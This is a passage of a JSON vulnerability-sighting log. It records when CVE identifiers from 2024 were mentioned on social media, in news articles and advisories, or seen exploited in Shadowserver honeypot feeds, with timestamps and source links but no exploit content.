"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12209", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3likodqzbx425", "content": "", "creation_timestamp": "2025-02-19T21:02:37.895931Z"}, {"uuid": "08d843ee-66c1-4553-8edf-1de269bba645", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lilatp35kb2m", "content": "", "creation_timestamp": "2025-02-20T02:33:35.457506Z"}, {"uuid": "d8566663-60ae-41fc-ba44-0a2d561e5d9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lilj65f4t22e", "content": "", "creation_timestamp": "2025-02-20T05:02:38.104713Z"}, {"uuid": "fa7cbf0d-f824-479b-98d4-d8504582e4e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lilll7lwih2b", "content": "", "creation_timestamp": "2025-02-20T05:45:41.469984Z"}, {"uuid": "ca24665d-c6e5-4ede-b08f-dc9d8981b540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12284", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lilng4jyvk23", "content": "", "creation_timestamp": "2025-02-20T06:18:38.112253Z"}, {"uuid": "d372ae34-ccf0-4834-aabe-2709754dc308", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lilpfpwzvo2g", "content": "", "creation_timestamp": "2025-02-20T06:54:12.548043Z"}, {"uuid": "18c71b42-d1b0-4bdf-a66d-e1277c655e58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lilpfpwzvo2g", "content": "", "creation_timestamp": "2025-02-20T06:54:12.609318Z"}, {"uuid": "d6a2fa40-aeb5-4e3e-84d5-f9d611c05d2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lilpfpwzvo2g", "content": "", "creation_timestamp": "2025-02-20T06:54:12.679679Z"}, {"uuid": "3c621242-9e5b-4d2d-9817-d811a5d0f9a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lilpfpwzvo2g", "content": "", "creation_timestamp": "2025-02-20T06:54:12.744882Z"}, {"uuid": "15ff10ac-b83c-4662-8d48-ae744782f4b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lilpfpwzvo2g", "content": "", "creation_timestamp": "2025-02-20T06:54:12.809076Z"}, {"uuid": "4ef14c84-361e-4667-9d60-434b985fd778", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lilsh6ran22n", "content": "", "creation_timestamp": "2025-02-20T07:48:43.079158Z"}, {"uuid": "004e0354-2bb0-482c-a0dc-77440a54bbdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lilsh6ran22n", "content": "", "creation_timestamp": "2025-02-20T07:48:43.151083Z"}, {"uuid": "481da39d-cba2-4775-ad88-ce53d35a7b89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://bsky.app/profile/teemutiainen.bsky.social/post/3lily2lwxuw2v", "content": "", "creation_timestamp": "2025-02-20T09:29:04.384002Z"}, {"uuid": "fe1813c9-0144-4f5a-90a8-a057aa60c2aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://bsky.app/profile/teemutiainen.bsky.social/post/3lily2lwxuw2v", "content": "", "creation_timestamp": "2025-02-20T09:29:04.448129Z"}, {"uuid": "13a6b787-46bd-4092-a959-c73422250649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lim3skwcguo2", "content": "", "creation_timestamp": "2025-02-20T10:36:37.529054Z"}, {"uuid": "491a9619-68ae-4a79-9d6f-1aed3a99af66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lim7bnd5w4o2", "content": "", "creation_timestamp": "2025-02-20T11:39:12.371110Z"}, {"uuid": "abab3eda-d8b7-449b-8829-9807f1af4251", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://thehackernews.com/2025/02/citrix-releases-security-fix-for.html", "content": "", "creation_timestamp": "2025-02-20T03:36:00.000000Z"}, {"uuid": "871c5200-83e1-4a65-8e5e-389ab369dfd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3limmfngctc2e", "content": "", "creation_timestamp": "2025-02-20T15:33:10.058960Z"}, {"uuid": "9ff5a7ce-88d6-47ee-a74f-27d6d3e449f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/nidouille.bsky.social/post/3limnz7yrb22w", "content": "", "creation_timestamp": "2025-02-20T16:02:00.367563Z"}, {"uuid": "76409320-1db0-496c-a774-bbf913127582", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3limrymctq322", "content": "", "creation_timestamp": "2025-02-20T17:13:13.614716Z"}, {"uuid": "e4f77a5d-0ac6-4853-8503-8902e95ffb21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lin3cgg6vc2x", "content": "", "creation_timestamp": "2025-02-20T19:59:48.572581Z"}, {"uuid": "e3ae1d45-9520-4ff9-bfae-853e118bacb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lio7xs4sj442", "content": "", "creation_timestamp": "2025-02-21T06:58:01.323950Z"}, {"uuid": "ae066c14-d4cb-4220-a2e5-0e64804d6ba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lioi4ywizye2", "content": "", "creation_timestamp": "2025-02-21T09:22:12.011947Z"}, {"uuid": "132e9f26-4259-491f-a77c-38b4d3cd80e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://thehackernews.com/2025/03/moxa-issues-fix-for-critical.html", "content": "", "creation_timestamp": "2025-03-11T05:45:00.000000Z"}, {"uuid": "2c9ecfc6-4b37-419c-ab07-b8b2131b0f46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-24)", "content": "", "creation_timestamp": "2025-03-24T00:00:00.000000Z"}, {"uuid": "12d7f9b0-18f8-44f0-9dbc-15dc498e465d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ljlbatzu6k2e", "content": "", "creation_timestamp": "2025-03-04T20:06:13.034833Z"}, {"uuid": "d4d77d9a-4924-45ca-87f4-2f484dd4ca20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12810", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114161097115928156", "content": "", "creation_timestamp": "2025-03-14T13:48:20.651903Z"}, {"uuid": "606eeaca-654a-44c5-8ef0-fab04f13b687", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12876", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljuhxhhv5z2w", "content": "", "creation_timestamp": "2025-03-08T12:00:07.537391Z"}, {"uuid": "8c599435-8604-4095-b7f5-9dd6b647779a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12563", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkot42i2lk2n", "content": "", "creation_timestamp": "2025-03-18T23:28:45.132058Z"}, {"uuid": "a419674c-8cf1-4619-a648-17ec1c8b1e63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12577", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lirveiepsi23", "content": "", "creation_timestamp": "2025-02-22T17:56:51.996646Z"}, {"uuid": "cb95ffb3-0274-4be0-b44d-d44508954153", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://mstdn.ca/users/rfwaveio/statuses/114050165842400035", "content": "", "creation_timestamp": "2025-02-22T23:37:07.615935Z"}, {"uuid": "49bbeb3a-e416-49e5-b5dd-f2eff349a6b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://bsky.app/profile/samilaiho.com/post/3ljrfgogbyk2a", "content": "", "creation_timestamp": "2025-03-07T06:36:57.079567Z"}, {"uuid": "38286db3-021b-4ab5-89b8-fec32ecaafdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12016", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lksiy2bufs2u", "content": "", "creation_timestamp": "2025-03-20T10:38:12.087269Z"}, {"uuid": "f02e3076-88ef-4a9c-8277-4847d961b4d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-20)", "content": "", "creation_timestamp": "2025-03-20T00:00:00.000000Z"}, {"uuid": "5d8bf5dc-4015-4d3b-bc31-6d2400ca4430", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12198", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-113/", "content": "", "creation_timestamp": "2025-03-10T04:00:00.000000Z"}, {"uuid": "bd2edf08-496f-47d1-8cbf-aa09220a7158", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12810", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkdra6cpcu26", "content": "", "creation_timestamp": "2025-03-14T13:56:01.151360Z"}, {"uuid": "df575ea6-dee8-410d-8533-045d920169cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12193", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-112/", "content": "", "creation_timestamp": "2025-03-10T04:00:00.000000Z"}, {"uuid": "e9e2dad1-55f8-4e5a-b408-f859f61276cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12016", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114194363600674612", "content": "", "creation_timestamp": "2025-03-20T10:48:26.903129Z"}, {"uuid": "2d585df9-2475-4878-9011-94cc73f0d45e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12971", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lklcf3k33y2w", "content": "", "creation_timestamp": "2025-03-17T13:51:35.682834Z"}, {"uuid": "c4ff8d0c-e8f5-4c25-95dd-b5b72813fa8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12922", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lksk76rcvy2r", "content": "", "creation_timestamp": "2025-03-20T11:00:05.536224Z"}, {"uuid": "af9adf44-71e5-4a37-80e6-cf42ea3ab770", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12992", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lklcf3vf722n", "content": "", "creation_timestamp": "2025-03-17T13:51:37.282163Z"}, {"uuid": "7644e8f1-b677-4563-9774-424bc1b10d21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:11:03.000000Z"}, {"uuid": "ff169a0c-d2bc-44aa-9d94-bb08b747a595", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-22)", "content": "", "creation_timestamp": "2025-03-22T00:00:00.000000Z"}, {"uuid": "11000c7b-77ad-40be-873d-fef1a0fe4859", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12811", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114078994875616042", "content": "", "creation_timestamp": "2025-02-28T01:48:41.287603Z"}, {"uuid": "a18eea35-5c39-490d-b28e-2c934e88a749", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-21)", "content": "", "creation_timestamp": "2025-03-21T00:00:00.000000Z"}, {"uuid": "9c8195ff-c91b-4dda-b868-bf4cd93d079c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3liw6ug7rosq2", "content": "", "creation_timestamp": "2025-02-24T10:58:03.529432Z"}, {"uuid": "eb5dd161-e063-411d-ac51-241e1923d67d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:11:03.000000Z"}, {"uuid": "bc7e6447-6878-4b69-9142-e6471c8bbbc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12016", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lkv2o4srrk2q", "content": "", "creation_timestamp": "2025-03-21T11:00:06.466332Z"}, {"uuid": "3edf9439-78c7-46a5-a626-ab18c541dd9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-17)", "content": "", "creation_timestamp": "2025-03-17T00:00:00.000000Z"}, {"uuid": "a6d6c1f4-4c74-45c8-a001-be12b8c77460", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12604", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljzv7kkmdq2f", "content": "", "creation_timestamp": "2025-03-10T15:40:39.979460Z"}, {"uuid": "9575854c-1ade-4aa3-bee9-b62fd25ea6c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12769", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ll6v7z7ovm26", "content": "", "creation_timestamp": "2025-03-25T08:49:21.280536Z"}, {"uuid": "f5018003-06de-4867-aa78-95653bb7dfcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12130", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-152/", "content": "", "creation_timestamp": "2025-03-18T04:00:00.000000Z"}, {"uuid": "43154744-be10-4cd5-acd7-27d65d8339c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:11:01.000000Z"}, {"uuid": "f30aff3e-c338-4ca2-96b1-bfd470dddea0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lj2ihffytk2p", "content": "", "creation_timestamp": "2025-02-26T03:59:48.842246Z"}, {"uuid": "d39ada52-aad3-4c38-a7bc-ec41c9fd305f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lj2ihffytk2p", "content": "", "creation_timestamp": "2025-02-26T03:59:48.938543Z"}, {"uuid": "4b44c747-60f6-42b7-9ec8-777158419d9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12682", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ll6v7zpzea2h", "content": "", "creation_timestamp": "2025-03-25T08:49:22.974846Z"}, {"uuid": "2075ec33-417d-4830-9772-6a63e2888d16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3lj2tpmnink2m", "content": "", "creation_timestamp": "2025-02-26T07:21:19.916421Z"}, {"uuid": "2ae90aad-7fc6-4a10-987f-73221c62c64a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3lj2tpmnink2m", "content": "", "creation_timestamp": "2025-02-26T07:21:19.991588Z"}, {"uuid": "eedd9c57-5271-485e-bf87-33a13f02a365", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12084", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lj2xguftjc2b", "content": "", "creation_timestamp": "2025-02-26T08:27:57.044616Z"}, {"uuid": "fdf5e2b1-d1a8-4879-accd-476f5d7777eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12085", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lj2xguftjc2b", "content": "", "creation_timestamp": "2025-02-26T08:27:57.120866Z"}, {"uuid": "5e186b4b-91d8-419e-99e6-92e578139892", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/samilaiho.com/post/3lj2ygq366s2s", "content": "", "creation_timestamp": "2025-02-26T08:45:46.853162Z"}, {"uuid": "64c8f8f9-406c-4538-b18f-8ec15b5dae3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://bsky.app/profile/samilaiho.com/post/3lj2ygq366s2s", "content": "", "creation_timestamp": "2025-02-26T08:45:46.933345Z"}, {"uuid": "064887bd-e4df-4959-95bb-d34457c2f54a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12209", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-17)", "content": "", "creation_timestamp": "2025-03-17T00:00:00.000000Z"}, {"uuid": "e7383061-fbcd-4f91-8637-9dfe8c6c9149", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-06)", "content": "", "creation_timestamp": "2025-03-06T00:00:00.000000Z"}, {"uuid": "4c073ad8-6df6-4567-9222-d5f1dd568707", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12029", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lksmhd4oyc2v", "content": "", "creation_timestamp": "2025-03-20T11:40:27.339433Z"}, {"uuid": "1c29afb7-540f-4c42-a808-b6cac56ed7ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-08)", "content": "", "creation_timestamp": "2025-03-08T00:00:00.000000Z"}, {"uuid": "8335ef12-3ff9-4955-ae57-05dc6a405cb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12044", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lksmheps2e2v", "content": "", "creation_timestamp": "2025-03-20T11:40:29.037075Z"}, {"uuid": "3f8ae9c2-5f11-4a12-92c1-1869bcf089e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12433", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lksmhgh6qx2m", "content": "", "creation_timestamp": "2025-03-20T11:40:30.457887Z"}, {"uuid": "411d3318-9414-4069-99ab-867cd422caf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12909", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lksmhhpay72m", "content": "", "creation_timestamp": "2025-03-20T11:40:31.436223Z"}, {"uuid": "5aaeb5ab-458f-4c70-9366-b1389790ce9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-23)", "content": "", "creation_timestamp": "2025-03-23T00:00:00.000000Z"}, {"uuid": "754f9f98-70a6-44da-afd2-f1f99cf2a10c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12916", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114060119642533027", "content": "", "creation_timestamp": "2025-02-24T17:48:26.723860Z"}, {"uuid": "62d3f37e-014c-4c52-848b-71de303075e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-05)", "content": "", "creation_timestamp": "2025-03-05T00:00:00.000000Z"}, {"uuid": "024f67c0-98b6-470f-bb77-532f9216add7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12917", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114060119701091927", "content": "", "creation_timestamp": "2025-02-24T17:48:27.990150Z"}, {"uuid": 